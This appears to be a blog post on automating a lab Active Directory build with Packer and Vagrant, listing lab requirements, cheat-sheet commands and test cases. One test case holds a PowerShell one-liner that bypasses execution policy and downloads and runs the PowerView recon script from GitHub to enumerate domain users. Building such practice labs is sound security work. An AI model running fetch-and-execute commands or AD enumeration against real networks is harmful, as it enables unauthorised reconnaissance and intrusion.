Automate Active Directory(Installation(Packer)+Provisioning(Vagrant))

  1. Packer
  2. Vagrant
  3. Virtualbox/Vmware Workstation(i have used VirtualBox for demonstration)
  4. Curiosity/Laziness
  1. Machine A is the domain controller
  2. Domain Name is “auror.local”
  3. Has DNS role
  4. Create a user “Adam” with password “Pass@123”
  1. Machine B is the machine to join to domain auror.local
  2. Machine B should have Chrome installed
  3. User Adam is configured as an administrator
  4. Firewall should be off
  5. Machine A and Machine B must be in the same subnet.
  • RDP into Machine B with user “Adam” should be successful
  • From Machine B as user Adam, the command “net use \\auror.local” should result in command completed successfully
  • Run script Powerview.ps1 function “Get-DomainUser” from Machine B should show Adam as a user
  • Chrome should be installed on Machine B
  • Default one’s are file(The file Packer provisioner uploads files to machines built by Packer) and shell(as name suggests allows you to run os commands)
  • 3rd party- ansible ,chef, powershell, puppet
post-processor "vagrant" {
keep_input_artifact = false //artifact will be deleted
output = "windows_2022_{{.Provider}}.box"
vagrantfile_template = "vagrantfile-windows_2016.template"
}
packer build <json/hcl conifg file>
packer build -debug <json/hcl conifg file>
packer -var <variable=value>
#Packer format
packer fmt <unformatted hcl config>
packer validate <config file>
packer hcl2_upgrade <json config>#packer env vars
PACKER_LOG #enables packer logs
PACKER_LOG_PATH #spcifes file path for storing log file
vagrant statusvagrant box list
vagrant box outdated
vagrant box update
vagrant box remove <box>
vagrant box add <box_path>
vagrant plugin list
vagrant plugin update
vagrant plugin uninstall <pluin>
vagrant package --output <centos.box> # run this after making changes, this is similar to creating images in docker
vagrant package --base <vm_name>
VAGRANT_HOME=F:\\.vagrant.d
VAGRANT_DEFAULT_PROVIDER=vmware_desktop
#Provision
vagrant provision
vagrant powershell

Step 1- Creating a vagrant box using packer

note- Make sure to clone this repo before proceeding(https://github.com/pswalia2u/TheAurorProject)

cd packer_project
packer build apni.json.pkr.hcl
packer build <packer_config_file>

Step 2- Provisioning using vagrant

Make sure you have these files before running packer build-

cd Challenge_1/vagrant_project
vagrant up

Running Testcases-

  • RDP into Machine B with user “Adam” should be successful
  • From Machine B as user Adam, the command “net use \\auror.local” should result in command completed successfully
  • Run script Powerview.ps1 function “Get-DomainUser” from Machine B should show Adam as a user
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-DomainUser | Select-Object samaccountname"
  • Chrome should be installed on Machine B

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
n00🔑

n00🔑

Computer Security Enthusiast. Tries to understand how computers work. Would love to hear your suggestions and feedback. https://www.linkedin.com/in/pswalia2u/